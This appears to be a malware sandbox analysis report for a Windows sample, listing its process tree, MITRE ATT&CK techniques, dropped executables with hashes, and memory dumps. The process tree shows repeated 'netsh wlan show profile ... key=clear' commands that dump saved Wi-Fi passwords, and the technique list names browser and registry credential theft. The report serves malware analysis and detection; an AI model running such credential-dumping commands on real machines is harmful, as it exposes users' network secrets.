- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    PID:1484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5568
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="i" key=clear
  2⤵
  PID:5716
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="i" key=clear
    3⤵
    PID:5760
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5728
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="g" key=clear
  2⤵
  PID:4272
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="g" key=clear
    3⤵
    PID:1276
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="." key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4072
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="." key=clear
    3⤵
    PID:1652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  - Executes a command shell one-liner
  PID:708
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6076
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="
    3⤵
    PID:4304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

vmcdbb01f.exe

Path C:\Users\Admin\AppData\Local\Temp\vmcdbb01f.exe
Size 4.9MB
SHA256 634c64b52f7c6eff4ea21665667321a962a82df48283bcaf402cbca8c5fe2d6b
MD5 23cb940e4089ec2bc8a3f75b14d1181c
SHA1 12cbc1da937814ec51096e0f67e1f7e4c0a78eea
SHA512 2f6087f3c93398016ca8bcd224ba30283f4566f333ca869f2d81cc572dbf24edb3d6dc2d28c219dc9bf4a26bbd196d65f8d1a60ee007a07968b73f44ba984c95
SSDEEP 3072:ID/gWo40HaRFc7LLAHfx7fI2W1ynB1eo1NSv65d1Kl5Uba:ID/dD7RFcAflw2V1K0e
TLSH
T197361A0E9B9B63E6DE2B4C3498450445A7F2B862F7E4679B631009710F327F58DBCE68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vmhe8d078.exe

Path C:\Users\Admin\AppData\Local\Temp\vmhe8d078.exe
Size 263KB
SHA256 0e7a766f9934545317d4445b7553dab94fa927d1aa5c4d08634111453b4b8d1e
MD5 414ebd4402581a803cc2e6b840463e15
SHA1 df05caeddf17bb2162a1841928e8720e2163e9a2
SHA512 acf4f339357bf7a234a1dbada1b9cb44a3476d4bdf87fc6b024cffb757b438d770d4c8db7c1995f306d7c726f5ce986315d7f78fbc2e6f9370dd0842643ae6f1
SSDEEP 3072:QBLjqgrLUopOkndr/jWW5SXfDedFrU/0e6edH6DHrnh8zbk51kdOSkirKYfRzUto:OHrw3Cr6bXS2wrh8bAiLrKY9Utw
TLSH
T105443A6837FC1604F2BF8FB4A5B4259446BAF867E916D70C5D8220DC2E76791EE10B23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2984-44-0x000001B56F4A0000-0x000001B56F4C2000-memory.dmp

Download

memory/5020-50-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-53-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-63-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-62-0x000001A9CDBE0000-0x000001A9CDBF2000-memory.dmp

Download

memory/5020-61-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-60-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-59-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-58-0x000001A9CDB90000-0x000001A9CDBE0000-memory.dmp

Download

memory/5020-56-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-40-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-38-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-52-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-49-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-48-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-45-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-41-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-39-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5020-37-0x000001A9B30B0000-0x000001A9B30F6000-memory.dmp

Download

memory/5192-18-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-3-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-16-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-4-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-22-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-2-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-21-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-20-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-5-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-1-0x000002C883EE0000-0x000002C883EEC000-memory.dmp

Download

memory/5192-15-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-19-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-0-0x00007FF9CA3BF000-0x00007FF9CA3C0000-memory.dmp

Download

memory/5192-57-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-14-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-13-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-12-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-11-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-9-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download

memory/5192-8-0x00007FF9CA230000-0x00007FF9CABD4000-memory.dmp

Download